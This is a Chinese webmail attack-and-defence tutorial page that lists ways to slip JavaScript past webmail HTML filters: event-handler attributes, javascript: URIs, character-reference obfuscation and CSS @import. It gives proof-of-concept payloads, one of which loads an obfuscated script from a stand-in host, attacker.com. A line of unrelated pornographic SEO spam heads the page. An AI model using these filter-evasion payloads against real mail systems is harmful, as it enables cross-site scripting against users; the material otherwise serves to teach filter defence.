日韩天天综合网_野战两个奶头被亲到高潮_亚洲日韩欧美精品综合_av女人天堂污污污_视频一区**字幕无弹窗_国产亚洲欧美小视频_国内性爱精品在线免费视频_国产一级电影在线播放_日韩欧美内地福利_亚洲一二三不卡片区

Webmail攻防實戰(zhàn)(4)_Mail服務器教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!
鑒于腳本程序可能帶來的危險,WebMail系統(tǒng)完全有必要禁止html郵件中的腳本程序。禁止腳本程序的基本做法就是過濾掉html源程序中能夠使腳本程序運行的代碼,如script元素等,在這方面做的最好的莫過于hotmail了。下面是些常見的繞過腳本程序過濾的方法,不少的WebMail系統(tǒng)仍然沒有完全改正:

  (1) 在html語言里,除了script元素內(nèi)的或在script元素內(nèi)引入的腳本程序能在html頁面裝載時被運行外,使用事件屬性也能調(diào)用腳本程序運行,事件屬性在JavaScript語言里被稱為事件句柄,用于對頁面上的某個特定事件(如鼠標點擊、表單提交)做出響應,驅(qū)動javascript程序運行。它的語法如下:

  <tag attribute1 attribute2 onEventName="javascript code;">

  例如:

<body onload="alert('JavaScript#1 is executed');">
<a href="#" onclick="alert('JavaScript#2 is executed');">Click here</a>
<form method="post" action="#" onsubmit="alert('JavaScript#3 is executed');">
<input type="submit" value="Submit">
</form>
</body>

  (2) URI(Universal Resource Identifier:通用資源標識)用于定位Internet上每種可用的資源,如HTML文檔、圖像、聲音等。瀏覽器根據(jù)URI的資源類型(URI scheme)調(diào)用相應的程序操作該資源,如果把一些元素的URI屬性值的資源類型設為javascript,則能夠調(diào)用javascript程序運行。語法如下,注意要用“;”分隔不同的javascript語句:

 �。紅ag attribute="javascript:javascript-code;">

  例如:

<body background="javascript:alert('JavaScript#1 is executed');">
<a href="javascript:alert('JavaScript#2 is executed');">Click here</a>
<form method="post" action="javascript:alert('JavaScript#3 is executed');">
<input type="submit" value="Submit">
</form>
<img src="javascript:alert('JavaScript#4 is executed');">
</body>

  (3) 由于軟硬件或其他原因,一些冷僻或特殊的字符不能輸入或正確顯示在html頁面上,為了解決這個問題,html中可以使用SGML字符參考。字符參考是一種用來指定文檔字符集中任何字符的獨立編碼機制,以“&”開始,以“;”結束。字符參考有兩種表達方式:數(shù)字字符參考和實體字符參考。數(shù)字字符參考的語法為“&#D;”(D代表一個十進制數(shù)),或“&#xH;”、“&#XH;”(H代表一個十六進制數(shù)),例如“A”、“A”表示字母“A”,“水”、“水”表示漢字“水”。

  攻擊者把html語句里的一些字符以數(shù)字字符參考來代替,這樣能避開WebMail系統(tǒng)對腳本程序的過濾。需要注意的是,元素和屬性不可以用字符參考表示,例如:

<body>
<img lowsrc="javasCript:alert('JavaScript#1 is executed')">
<a href="javAsCript:alert('JavaScript#2
i&#x73 executed')">Click here</a>
<form method="post" action="javascript:alert('JavaScript#3 is
executed')">
<input type="Submit" value="Submit">
</form>
</body>

  (4) 樣式表是層疊樣式表單(CSS:Cascading Style Sheet)的簡稱,用于控制、增強或統(tǒng)一網(wǎng)頁上的樣式(如字體、顏色等),它能夠?qū)邮叫畔⑴c網(wǎng)頁內(nèi)容相分離,在html語言的style標簽內(nèi)可以用@import聲明輸入一個樣式表。但是,如果輸入的資源類型或內(nèi)容是javascript,Internet Explorer瀏覽器仍然會執(zhí)行。

例如: <style type="text/css">
<!--
@import url(javascript:alert('JavaScript#1 is executed'));
@import url(http://www.attacker.com/js.css);
-->
</style>

  其中http://www.attacker.com/js.css的內(nèi)容如下所示:

@import url(javascript:alert('JavaScript#2 is executed'));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

  能夠繞過WebMail系統(tǒng)對腳本程序過濾的方法遠不止上面所說的這些,例如曾有人發(fā)現(xiàn)把“<script>”標簽改成“<_a<script>”和“<<script>”的樣子能繞過yahoo電郵的過濾,這個漏洞yahoo在最近才改正過來。

來源:網(wǎng)絡搜集//所屬分類:Mail服務器教程/更新時間:2013-04-15
相關Mail服務器教程